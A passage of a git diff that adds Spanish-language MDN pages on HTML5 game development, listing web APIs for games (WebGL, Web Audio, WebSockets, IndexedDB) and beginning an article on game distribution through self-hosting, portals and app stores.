+ <dd><span class="notranslate">El elemento <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=es&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/es/docs/HTML/Elemento/audio&amp;usg=ALkJrhjtX6Px9Gu7gkcd0fdLB1gVGNTqZQ" title="Este artículo aún no se ha escrito. ¡Considere contribuir!"><code>&lt;audio&gt;</code></a> te permite reproducir fácilmente efectos de sonido y música sencillos.</span> <span class="notranslate"> Si sus necesidades están más involucradas, echa un vistazo a la <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=es&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/en-US/docs/Web_Audio_API&amp;usg=ALkJrhgCQeHzpAri8qJ00kmc9rNqYXZzHg" title="/ Es-ES / docs / Web_Audio_API">API de audio web</a> para obtener potencia de procesamiento de audio real.</span></dd>
+ <dt><span class="notranslate"><a href="https://developer.mozilla.org/es/docs/IndexedDB-840092-dup" title="/ Es-US / docs / IndexedDB">IndexedDB</a></span></dt>
+ <dd><span class="notranslate">Una poderosa API de almacenamiento de datos para mantener los datos del usuario en su propio ordenador o dispositivo.</span> <span class="notranslate"> Una gran manera de guardar el estado del juego y otra información localmente para que no tenga que ser descargado cada vez que sea necesario.</span> <span class="notranslate"> También es útil para ayudar a que su juego sea jugable incluso cuando el usuario no está conectado a la Web (por ejemplo, cuando están atrapados en un avión durante horas y horas ...).</span></dd>
+ <dt><span class="notranslate"><a href="https://developer.mozilla.org/es/docs/Web/JavaScript" title="/ Es-ES / docs / JavaScript">JavaScript</a></span></dt>
+ <dd><span class="notranslate">JavaScript, el lenguaje de programación utilizado en la Web, está ardiendo rápido en los navegadores modernos y cada vez más rápido.</span> <span class="notranslate"> Usa su poder para escribir el código para tu juego, o mira usando tecnologías como <a class="external external-icon" href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=es&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://github.com/kripken/emscripten/wiki&amp;usg=ALkJrhhAf0czxz7h2rDyV_JV7PSlfap69g" title="Https://github.com/kripken/emscripten/wiki">Emscripten</a> o <a class="external external-icon" href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=es&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=http://asmjs.org/spec/latest/&amp;usg=ALkJrhh9WXUvKAZKrbEzyZxr8nWhmVHYfw" title="Http://asmjs.org/spec/latest/">Asm.js</a> para portar fácilmente tus juegos existentes.</span></dd>
+ <dt><span class="notranslate"><a href="https://developer.mozilla.org/es/docs/WebAPI/Pointer_Lock" title="/ Es-ES / docs / WebAPI / Pointer_Lock">API de bloqueo de puntero</a></span></dt>
+ <dd><span class="notranslate">La API de Bloqueo de Puntero le permite bloquear el ratón u otro dispositivo señalador dentro de la interfaz de su juego para que en lugar de posicionamiento absoluto del cursor reciba deltas de coordenadas que le den medidas más precisas de lo que el usuario está haciendo e impide que el usuario envíe accidentalmente su entrada En algún otro lugar, por lo tanto falta una acción importante.</span></dd>
+ <dt><span class="notranslate"><a href="https://developer.mozilla.org/es/docs/Web/SVG" title="/ Es-ES / docs / SVG">SVG</a> (Gráficos Vectoriales Escalables)</span></dt>
+ <dd><span class="notranslate">Permite crear gráficos vectoriales que se escalan sin problemas, independientemente del tamaño o la resolución de la pantalla del usuario.</span></dd>
+ <dt><span class="notranslate"><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Vectores_tipados" title="/ Es-US / docs / JavaScript / Typed_arrays">Matrices Arrays</a></span></dt>
+ <dd><span class="notranslate">Los arrays tipados en JavaScript le dan acceso a datos binarios sin procesar desde JavaScript;</span> <span class="notranslate"> Esto le permite manipular texturas GL, datos de juego, o cualquier otra cosa, incluso si no está en un formato JavaScript nativo.</span></dd>
+ <dt><span class="notranslate"><a href="https://developer.mozilla.org/es/docs/Web_Audio_API" title="/ Es-ES / docs / Web_Audio_API">API de audio web</a></span></dt>
+ <dd><span class="notranslate">Esta API para controlar la reproducción, síntesis y manipulación de audio a partir de código JavaScript le permite crear efectos de sonido impresionantes, así como jugar y manipular música en tiempo real.</span></dd>
+ <dt><span class="notranslate"><a href="https://developer.mozilla.org/es/docs/Web/API/WebGL_API" title="/ Es-ES / docs / WebGL">WebGL</a></span></dt>
+ <dd><span class="notranslate">Permite crear gráficos 3D (y 2D) acelerados por hardware de alto rendimiento a partir del contenido Web.</span> <span class="notranslate"> Se trata de una implementación Web de <a class="external external-icon" href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=es&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=http://www.khronos.org/opengles/&amp;usg=ALkJrhj7Pnj9FaaR-5oxI5CJw3N2i05Ngw" title="Http://www.khronos.org/opengles/">OpenGL ES</a> 2.0.</span></dd>
+ <dt><span class="notranslate"><a href="https://developer.mozilla.org/es/docs/Web/API/WebRTC_API" title="/ En-US / docs / WebRTC">WebRTC</a></span></dt>
+ <dd><span class="notranslate">La API WebRTC (Comunicaciones en tiempo real) le permite controlar los datos de audio y vídeo, incluyendo la teleconferencia y la transmisión de otros datos de la aplicación entre dos usuarios.</span> <span class="notranslate"> ¿Quieren que sus jugadores puedan hablar entre sí mientras explotan monstruos?</span> <span class="notranslate"> Esta es la API para usted.</span></dd>
+ <dt><span class="notranslate"><a href="https://developer.mozilla.org/es/docs/Web/API/WebSockets_API" title="/ Es-ES / docs / WebSockets">WebSockets</a></span></dt>
+ <dd><span class="notranslate">La API de WebSocket le permite conectar su aplicación o sitio a un servidor para transmitir datos de un lado a otro en tiempo real.</span> <span class="notranslate"> Perfecto para la acción de juego multijugador, servicios de chat, y así sucesivamente.</span></dd>
+ <dt><span class="notranslate"><a href="https://developer.mozilla.org/es/docs/Web/Guide/Performance/Usando_web_workers" title="/ Es-ES / docs / DOM / Using_web_workers">Trabajadores de la Web</a></span></dt>
+ <dd><span class="notranslate">Los trabajadores le dan la posibilidad de generar hilos de fondo que ejecutan su propio código JavaScript, para aprovechar los modernos procesadores multi-núcleo.</span></dd>
+ <dt><span class="notranslate"><a href="https://developer.mozilla.org/es/docs/Web/API/XMLHttpRequest" title="/ Es-US / docs / DOM / XMLHttpRequest">XMLHttpRequest</a> y <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=es&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/en-US/docs/DOM/File_API&amp;usg=ALkJrhjS1RWLb9XbCcHs-KcDniPTbC4fcw" title="/ Es-US / docs / DOM / File_API">API de archivos</a></span></dt>
+ <dd><span class="notranslate">La combinación de XMLHttpRequest y la API de archivos le permiten enviar y recibir cualquier tipo de datos que desee (no deje que el "XML" te lance!) Desde un servidor Web.</span> <span class="notranslate"> Esta es una gran manera de hacer cualquier cosa desde la descarga de nuevos niveles de juego y obras de arte a la transmisión de información de estado de juego en tiempo no real de ida y vuelta.</span></dd>
+</dl>
+</div>
+
+<aside class="helpful-survey" id="helpful-survey">
+<p><span class="notranslate">¿Te resultó útil este artículo?</span></p>
+
+<div class="helpful-survey-content">
+<div class="helpful-survey-buttons"></div>
+</div>
+</aside>
+
+<div class="column-half wiki-column text-content" id="wiki-content">
+<article id="wikiArticle">
+<aside class="helpful-survey" id="helpful-survey">
+<div class="helpful-survey-content">
+<div class="helpful-survey-thankyou"><span class="notranslate">Gracias</span></div>
+</div>
+</aside>
+</article>
+
+<div class="wiki-block contributors">
+<h2 class="offscreen" id="Etiquetas_y_colaboradores_del_documento"><span class="notranslate">Etiquetas y colaboradores del documento</span></h2>
+
+<div class="tag-attach-list contributors-sub"><span class="notranslate"><strong>Etiquetas:</strong></span>
+
+<ul class="tags tags-small">
+ <li><span class="notranslate"><a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=es&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/es/docs/tag/Firefox%2520OS&amp;usg=ALkJrhiMz60hq0NctaBY3vvrFB_d0qOW4A" rel="nofollow, noindex">Firefox OS</a></span></li>
+ <li><span class="notranslate"><a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=es&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/es/docs/tag/juegos&amp;usg=ALkJrhgDjdxSwGCqqR9onHjg5aeHWXOtZQ" rel="nofollow, noindex">Juegos</a></span></li>
+ <li><span class="notranslate"><a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=es&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/es/docs/tag/moviles&amp;usg=ALkJrhh4FtxUHYR70IVPrUF4PGeh5CrfcA" rel="nofollow, noindex">Moviles</a></span></li>
+</ul>
+</div>
+
+<div class="contributors-sub"><span class="notranslate"><strong>Colaboradores en esta página:</strong> <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=es&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/es/profiles/Albizures&amp;usg=ALkJrhgWRBfS71scMhWnz4J-PjnFKsFIBA">Albizures</a> , <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=es&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/es/profiles/atlas7jean&amp;usg=ALkJrhgzALymuEYfsd8CnptuoTY4OCPMWw">atlas7jean</a></span></div>
+
+<div class="contributors-sub"><span class="notranslate"><strong>Última actualización por:</strong> <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=es&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/es/profiles/Albizures&amp;usg=ALkJrhgWRBfS71scMhWnz4J-PjnFKsFIBA">Albizures</a> ,</span> <time datetime="2014-10-16T13:58:46-07:00"> <span class="notranslate"> 16 oct.</span> <span class="notranslate"> 2014 13:58:46</span> </time></div>
+</div>
+</div>
+
+<div class="column-strip wiki-column" id="wiki-left">
+<nav class="zone-subnav-container">
+<div class="subnav" id="Subnav">
+<ol class="accordion">
+ <li class="toggleable"><span class="notranslate"><a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=es&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/es/docs/Games/Introduccion&amp;usg=ALkJrhiT8uSw5K2TSW051FTS2G9ftOFnZQ#">Introducción</a></span></li>
+ <li class="toggleable"><span class="notranslate"><a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=es&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/es/docs/Games/Introduccion&amp;usg=ALkJrhiT8uSw5K2TSW051FTS2G9ftOFnZQ#">API para el desarrollo de juegos</a></span></li>
+ <li class="toggleable"><span class="notranslate"><a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=es&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/en-US/docs/Games/Techniques&amp;usg=ALkJrhjTEqvKzu-maArgaCVGov9Q1DC62g">Técnicas</a></span></li>
+ <li class="toggleable"><span class="notranslate"><a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=es&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/en-US/docs/Games/Tutorials&amp;usg=ALkJrhi4A0KaxMCbPvV5D8_zjT3bnOfGaA">Tutoriales</a></span></li>
+ <li class="toggleable"><span class="notranslate"><a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=es&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/en-US/docs/Games/Publishing_games&amp;usg=ALkJrhgQiYOYtL4GRD4H7y3qveRGSfUqvg">Publicar juegos</a></span></li>
+</ol>
+</div>
+</nav>
+</div>
diff --git a/files/es/games/introducción_al_desarrollo_de_juegos_html5_(resumen)/index.html b/files/es/games/introducción_al_desarrollo_de_juegos_html5_(resumen)/index.html
new file mode 100644
index 0000000000..dcbaca6422
--- /dev/null
+++ b/files/es/games/introducción_al_desarrollo_de_juegos_html5_(resumen)/index.html
@@ -0,0 +1,108 @@
+---
+title: Introducción al desarrollo de juegos HTML5 (resumen)
+slug: Games/Introducción_al_desarrollo_de_juegos_HTML5_(resumen)
+tags:
+  - Firefox OS
+  - HTML5
+  - Móvil
+  - juegos
+translation_of: Games/Introduction_to_HTML5_Game_Development_(summary)
+---
+<div>{{GamesSidebar}}</div>
+
+<div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<div>
+<h2 id="Ventajas" style="line-height: 30px;">Ventajas</h2>
+
+<ol>
+ <li><span class="seoSummary">Los juegos hechos con HTML5 funcionan en smartphones, tabletas, PCs y Smart TVs.</span></li>
+ <li>Anuncia y promociona tu juego en toda la web, así como en otros medios.</li>
+ <li>Pagos. Carga lo que quieras y usa el servicio de procesamiento de pagos que desees.</li>
+ <li><span class="seoSummary">Actualiza tu juego cuando quieras.</span></li>
+ <li>¡Colecciona tus propios análisis!</li>
+ <li>Conécta con tus clientes más de cerca.</li>
+ <li><span class="seoSummary">Los jugadores pueden jugar el juego en cualquier lugar, en cualquier momento.</span></li>
+</ol>
+
+<h2 id="Tecnologías_Web" style="line-height: 30px;">Tecnologías Web</h2>
+</div>
+
+<div> </div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col" style="text-align: left;"><strong>Funcionalidad</strong></th>
+   <th scope="col" style="text-align: left;"><strong>Tecnología</strong></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><strong>Audio</strong></td>
+   <td><a href="/en-US/docs/Web_Audio_API" title="/en-US/docs/Web_Audio_API">Web Audio API</a></td>
+  </tr>
+  <tr>
+   <td><strong>Graphics</strong></td>
+   <td><a href="/en-US/docs/WebGL" title="/en-US/docs/WebGL">WebGL</a> (<a href="http://www.khronos.org/opengles/" title="http://www.khronos.org/opengles/">OpenGL ES</a> 2.0)</td>
+  </tr>
+  <tr>
+   <td><strong>Input</strong></td>
+   <td><a href="/en-US/docs/DOM/Touch_events" title="/en-US/docs/DOM/Touch_events">Touch events</a>, <a href="/en-US/docs/API/Gamepad/Using_Gamepad_API" title="/en-US/docs/API/Gamepad/Using_Gamepad_API">Gamepad API</a>, sensores del dispositivo, <a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a>, <a href="/en-US/docs/DOM/Using_fullscreen_mode" title="/en-US/docs/DOM/Using_fullscreen_mode">Full Screen API</a>, <a href="/en-US/docs/WebAPI/Pointer_Lock" title="/en-US/docs/WebAPI/Pointer_Lock">Pointer Lock API</a></td>
+  </tr>
+  <tr>
+   <td><strong>Language</strong></td>
+   <td><a href="/en-US/docs/JavaScript" title="/en-US/docs/JavaScript">JavaScript</a> (o C/C++ usando <a href="https://github.com/kripken/emscripten/wiki" title="https://github.com/kripken/emscripten/wiki">Emscripten</a> para compilar a JavaScript)</td>
+  </tr>
+  <tr>
+   <td><strong>Networking</strong></td>
+   <td><a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> y/o <a href="/en-US/docs/WebSockets" title="/en-US/docs/WebSockets">WebSockets</a></td>
+  </tr>
+  <tr>
+   <td><strong>Storage</strong></td>
+   <td><a href="/en-US/docs/IndexedDB" title="/en-US/docs/IndexedDB">IndexedDB</a> o la "nube"</td>
+  </tr>
+  <tr>
+   <td><strong>Web</strong></td>
+   <td><a href="/en-US/docs/HTML" title="/en-US/docs/HTML">HTML</a>, <a href="/en-US/docs/CSS" title="/en-US/docs/CSS">CSS</a>, <a href="/en-US/docs/SVG" title="/en-US/docs/SVG">SVG</a>, <a href="/en-US/docs/Social_API" title="/en-US/docs/Social_API">Social API</a> (¡y muchos más!)</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="twocolumns">
+<dl>
+ <dt><a href="/en-US/docs/DOM/Using_fullscreen_mode" title="/en-US/docs/DOM/Using_fullscreen_mode">Full Screen API</a></dt>
+ <dd>Juego de pantalla completa.</dd>
+ <dt><a href="/en-US/docs/API/Gamepad/Using_Gamepad_API" title="/en-US/docs/API/Gamepad/Using_Gamepad_API">Gamepad API</a></dt>
+ <dd>Utiliza gamepads u otros controladores de juego.</dd>
+ <dt><a href="/en-US/docs/HTML" title="/en-US/docs/HTML">HTML</a> y <a href="/en-US/docs/CSS" title="/en-US/docs/CSS">CSS</a></dt>
+ <dd>Crea, diseña y diseña la interfaz de usuario de tu juego.</dd>
+ <dt><a href="/en-US/docs/HTML/Element/audio" title="/en-US/docs/HTML/Element/audio">HTML audio</a></dt>
+ <dd>Juega fácilmente efectos de sonido simples y música.</dd>
+ <dt><a href="/en-US/docs/IndexedDB" title="/en-US/docs/IndexedDB">IndexedDB</a></dt>
+ <dd>Almacena los datos del usuario en tu propio ordenador o dispositivo.</dd>
+ <dt><a href="/en-US/docs/JavaScript" title="/en-US/docs/JavaScript">JavaScript</a></dt>
+ <dd>Rápido lenguaje de programación web para escribir el código de tu juego.<br>
+ Para portar fácilmente tus juegos existentes en <a href="https://github.com/kripken/emscripten/wiki" title="https://github.com/kripken/emscripten/wiki">Emscripten</a> o <a href="http://asmjs.org/spec/latest/" title="http://asmjs.org/spec/latest/">Asm.js</a></dd>
+ <dt><a href="/en-US/docs/WebAPI/Pointer_Lock" title="/en-US/docs/WebAPI/Pointer_Lock">Pointer Lock API</a></dt>
+ <dd>Bloquea el ratón u otro dispositivo señalador dentro de la interfaz de tu juego.</dd>
+ <dt><a href="/en-US/docs/SVG" title="/en-US/docs/SVG">SVG</a> (Scalable Vector Graphics)</dt>
+ <dd>Cree gráficos vectoriales que se escalan sin problemas, independientemente del tamaño o la resolución de la pantalla del usuario.</dd>
+ <dt><a href="/en-US/docs/JavaScript/Typed_arrays" title="/en-US/docs/JavaScript/Typed_arrays">Typed Arrays</a></dt>
+ <dd>Accede a datos binarios sin procesar desde JavaScript; Manipula texturas GL, datos de juegos, o cualquier otra cosa.</dd>
+ <dt><a href="/en-US/docs/Web_Audio_API" title="/en-US/docs/Web_Audio_API">Web Audio API</a></dt>
+ <dd>Controla la reproducción, síntesis y manipulación del audio en tiempo real.</dd>
+ <dt><a href="/en-US/docs/WebGL" title="/en-US/docs/WebGL">WebGL</a></dt>
+ <dd>Cree gráficos 3D (y 2D) acelerados por hardware y de alto rendimiento. <a href="http://www.khronos.org/opengles/" title="http://www.khronos.org/opengles/">OpenGL ES</a> 2.0.</dd>
+ <dt><a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a></dt>
+ <dd>Las comunicaciones en tiempo real para controlar los datos de audio y video, incluidas las teleconferencias y la transmisión de datos de otras aplicaciones entre dos usuarios, como el chat.</dd>
+ <dt><a href="/en-US/docs/WebSockets" title="/en-US/docs/WebSockets">WebSockets</a></dt>
+ <dd>Conecte tu aplicación o sitio a un servidor para transmitir datos de un lado a otro en tiempo real. Perfecto para la acción de juegos multijugador, servicios de chat, etc.</dd>
+ <dt><a href="/en-US/docs/DOM/Using_web_workers" title="/en-US/docs/DOM/Using_web_workers">Web Workers</a></dt>
+ <dd>Genere hilos de fondo ejecutando tu propio código JavaScript para procesadores multi-core.</dd>
+ <dt><a href="/en-US/docs/DOM/XMLHttpRequest" title="/en-US/docs/DOM/XMLHttpRequest">XMLHttpRequest</a> y <a href="/en-US/docs/DOM/File_API" title="/en-US/docs/DOM/File_API">File API</a></dt>
+ <dd>Envía y recibe cualquier tipo de información que desees desde un servidor web, como descargar nuevos niveles de juego y material gráfico para transmitir información de estado del juego en tiempo no real.</dd>
+</dl>
+</div>
+
+<p> </p>
diff --git a/files/es/games/publishing_games/game_distribution/index.html b/files/es/games/publishing_games/game_distribution/index.html
new file mode 100644
index 0000000000..c7f57b87be
--- /dev/null
+++ b/files/es/games/publishing_games/game_distribution/index.html
@@ -0,0 +1,140 @@
+---
+title: Distrbución de juegos
+slug: Games/Publishing_games/Game_distribution
+tags:
+  - CocoonIO
+  - Distribución
+  - Distribución de juegos para móviles
+  - HTML5
+  - JavaScript
+  - Juego de azar
+  - Phonegap
+  - Publicación de un juego
+  - Tiendas web
+  - juego
+  - juegos
+translation_of: Games/Publishing_games/Game_distribution
+---
+<div>{{GamesSidebar}}</div>
+
+<p class="summary">Has seguido un tutorial o dos y creado un juego de HTLM5 — eso es genial. Este artículo cubre todo lo que necesitas saber sobre las formas en que puedes distribuir tu juego recién creado al mundo. Esto incluye alojarlo tu mismo en línea, enviarlo a mercados abiertos, y enviándolo a aplicaciones cerradas como Google Play o iOS App Store.</p>
+
+<h2 id="Beneficios_de_HTML5_sobre_nativo">Beneficios de  HTML5 sobre nativo</h2>
+
+<p>Construir juegos con HTML5 te da ventajas, como:</p>
+
+<h3 id="Felicidad_multiplataforma">Felicidad multiplataforma</h3>
+
+<p>La tecnología en si es multiplataforma, por lo que puedes escribir el código una vez y apuntarle a múltiples dispositivos. Esto puede ir desde teléfonos inteligentes o tabletas de gama baja, portátiles y ordenadores de escritorio, a smart TVs, relojes o incluso una nevera si puede manejar un navegador lo suficientemente moderno.</p>
+
+<p>No necesitas tener equipos separados para trabajar en el mismo título que le apunta a diferentes plataformas, con solo una base de código para preocuparse. Puedes invertir más tiempo y dinero en  <a href="https://developer.mozilla.org/en-US/docs/Games/Techniques/Publishing_games/Game_promotion">Promociones</a> y <a href="https://developer.mozilla.org/en-US/docs/Games/Techniques/Publishing_games/Game_monetization">Monetizar</a>.</p>
+
+<h3 id="Actualizaciones_instantáneas">Actualizaciones instantáneas</h3>
+
+<p>No tienes que esperar varios días para tener el código de tus juegos actualizado. Si tus usuarios encuentran fallas, puedes solucionarlas rápidamente, actualizando el sistema y el juego en tu servidor para proporcionar a los jugadores el código actualizado casi al instante.</p>
+
+<h3 id="Distribución_directa_de_enlaces_y_reproducción_instantánea">Distribución directa de enlaces y reproducción instantánea</h3>
+
+<p>No tienes que decirle a la gente que busque tu juego en una tienda de aplicaciones con juegos HTML5. Puedes simplemente enviarles un enlace directo con acceso al juego, en el que pueden hacer click para jugar de inmediato sin necesidad de utilizar complementos de terceros o descargar e instalar un paquete grande. Tienes que tener en cuenta que descargar el juego seguramente lleva un poco de tiempo dependiendo del tamaño del juego y de la velocidad de la red. En cualquier caso, es mucho más fácil promocionar el juego si puedes conducir el tráfico directamente a donde tu quieras y no tener que estar saltando muchas trabas.</p>
+
+<h2 id="Escritorio_vs_móvil">Escritorio vs móvil</h2>
+
+<p>La gran mayoría del tráfico en el que estamos interesados — gente jugando en HTML5 — viene de los dispositivos móviles entonces eso es algo en lo que te tienes que enfocar si quieres tener éxito. En los dispositivos móviles la tecnología HTML5 realmente puede brillar y mostrar sus ventajas. No hay Flash, y HTML5 es completamente una multiplataforma.</p>
+
+<p>Intentar competir directamente con los juegos de escritorio es muy difícil. Puedes poner tus juegos de HTML5 en la misma área (ver {{anch("Native desktop")}}, later on) y deberías, porque es bueno diversificar las plataformas que soporta, pero tienes que recordar que los desarrolladores de juegos de escritorio tienen años de experiencia, grandes herramientas y canales sólidos de distribución. Muchos juegos de HTML5 le apuntarán a diferentes segmentos del mercado que los juegos de escritorio nativos, por ejemplo, juegos simples para pasar el tiempo mientras estás en movimiento en lugar de grandes experiencias de inmersión. Tales juegos, están normalmente diseñados para ser jugados con dos, o incluso un dedo, así puedes sujetar el dispositivo, jugar al juego y ser capaz de usar la segunda mano para lo que necesites.</p>
+
+<p>Dicho esto, las plataformas de escritorio pueden utilizarse para la distribución con bastante facilidad con la disponibilidad de wrappers que te pueden ayudar a preparar las compilaciones nativas de tu juego, mira {{anch("Packaging games")}}. También es recomendable probar los controles de escritorio para tus juegos incluso si tu enfoque está en los dispositivos móviles. Los jugadores disfrutaran de tus juegos en cualquier plataforma disponible, y el escritorio es una de ellas. Además,  es generalmente más fácil construir y probar el juego primero en escritorio, y luego pasar a probarlo en los dispositivos móviles.</p>
+
+<h2 id="Publicando_el_juego">Publicando el juego</h2>
+
+<p>Hay tres opciones principales cuando quieres publicar un juego:</p>
+
+<ul>
+ <li>Self-hosting</li>
+ <li> Editores</li>
+ <li>Tiendas</li>
+</ul>
+
+<p>Recuerda que el nombre de tu juego debería ser lo suficientemente exclusivo para ser promovido rápidamente más adelante, pero también lo suficientemente adictivo, para que la gente no se olvide de él.</p>
+
+<h3 id="Self-hosting">Self-hosting</h3>
+
+<p>Si eres un desarrollador de interfaces, es posible que sepas que hacer. Un juego de HTML5 es solo otra página web. Puedes actualizarla desde un servidor remoto, obtener un nombre de dominio atractivo y hostearlo tu mismo.</p>
+
+<p> Si quieres ganar dinero del desarrollo de juegos, deberás asegurar el código fuente de una manera u otra contra personas que podrían fácilmente cogerlo y venderlo como propio. Puedes concatenar y minimizar el código para hacerlo más pequeño y afearlo, así es mucho más difícil hacer ingeniería inversa en tu juego. Otra buena medida para  tomar es proporcionar una demo online si estas planeando empaquetarlo y venderlo en una tienda cerrada como iTunes o Steam.</p>
+
+<p>Si estás trabajando en un proyecto paralelo solo por diversión, entonces dejar el código fuente abierto beneficiará a quienes deseen aprender de lo que has creado. Ni siquiera tienes que preocuparte por buscar un proveedor de alojamiento, ya que es posible <a href="http://dev.end3r.com/2014/02/host-your-html5-games-on-github-pages/">hostear juego en las páginas de GitHub</a>. Obtendrás alojamiento gratuito, control de versiones y posibles colaboraciones si tu proyecto es lo suficientemente interesante.</p>
+
+<h3 id="Editores_y_portales">Editores y portales</h3>
+
+<p>Como el nombre lo indica, los editores pueden manejar la publicación de tu juego por ti. Si debe ir de esa manera o no, depende de cuál sea tu plan para distribuir el juego: ¿Quieres venderlo donde sea posible, o quieres restringir su presencia a aquellos que han comprado una <a href="https://developer.mozilla.org/en-US/docs/Games/Publishing_games/Game_monetization">licencia exclusiva</a>? Tu decides. Considera varias opciones, experimenta y saca conclusiones. Los editores se explicarán con más detalle en el artículo de <a href="https://developer.mozilla.org/en-US/docs/Games/Techniques/Publishing_games/Game_monetization/">monetización</a>.</p>
+
+<p>También hay portales independientes que recogen juegos interesantes como <a href="http://html5games.com/">HTML5Games.com</a>, <a href="http://www.marketjs.com/">MarketJS.com</a> o <a href="http://clay.io/">Clay.io </a>donde puedes mandar tus juegos y obtendrás algo de promoción natural debido al gran tráfico que esos sitios atraen. Algunos de estos toman tus archivos y los hostean en sus servidores, mientras que otros solo enlazan a su sitio web o insertan tu juego en su sitio. Tal exposición solo puede proporcionar <a href="https://developer.mozilla.org/en-US/docs/Games/Techniques/Publishing_games/Game_promotion/">promoción</a> para tu juego, o si tienes anuncios en el juego (u otra opción de conseguir dinero) también puede ofrecer monetización.</p>
+
+<h3 id="Tiendas_web_y_nativas">Tiendas web y nativas</h3>
+
+<p>También puedes subir y publicar tu juego directamente en diferentes tipos de tiendas, o mercados. Para hacerlo, tendrás que prepararlo y empaquetarlo en un formato de compilación específico para cada ecosistema de aplicaciones al que deseas orientarlo. Consulta {{anch("Marketplaces — distribution platforms")}} para más detalles de qué tipos de mercados están disponibles.</p>
+
+<h2 id="Mercados—_Plataformas_de_distribución">Mercados— Plataformas de distribución</h2>
+
+<p>Veamos cuáles son las opciones disponibles con respecto a los mercados/tiendas disponibles para diferentes plataformas y sistemas operativos.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Estas son las plataformas de distribución más populares, pero esto no quiere decir que sean la única opción. En lugar de intentar sumar tu juego a los miles de otros en la tienda de iOS,  también puedes intentar encontrar un nicho y promocionar directamente al público que esté interesado en tus juegos. Tu creatividad es crítica aquí.</p>
+</div>
+
+<h3 id="Tiendas_web">Tiendas web</h3>
+
+<p>Las mejores plataformas para juegos HTML5 son las tiendas basadas en la web. Es fácil <a href="http://code.tutsplus.com/tutorials/preparing-for-firefox-os--mobile-18515">preparar un juego para estas tiendas, </a>puesto que tal  acción implica poca o ninguna modificación del juego en sí — normalmente, es suficiente añadir un archivo de manifiesto que contenga la información necesaria en un paquete comprimido que incluya todos los recursos.</p>
+
+<ul>
+ <li><a href="https://chrome.google.com/webstore/">La tienda web de Chrome</a> también es una opción atractiva — nuevamente, tener un archivo de manifiesto listo, comprimir tu juego y completar el formulario de envío en línea es todo lo que se requiere.</li>
+ <li><a href="http://www.tizenstore.com/">Tizen</a> también está dando un gran valor a las aplicaciones de soporte escritas en JavaScript. Su tienda es otra opción válida.</li>
+</ul>
+
+<h3 id="Tiendas_de_aplicaciones_móviles_nativas">Tiendas de aplicaciones móviles nativas</h3>
+
+<p>Cuando se trata del mercado de aplicaciones móviles, están la Apple App Store para iOS, Google Play para Android y el resto de la competencia. Las tiendas nativas ya están llenas de desarrolladores establecidos que venden grandes juegos, por lo que debes ser talentoso y tener suerte para que te vean.</p>
+
+<ul>
+ <li>La iOS App Store es bastante difícil de acceder, ya que hay requisitos muy estrictos que los juegos deben cumplir, y tendrás que esperar una semana o dos para ser aceptado. Además, es la tienda móvil más prometedora, con cientos de miles de aplicaciones, así que es extremadamente difícil destacar entre la multitud.</li>
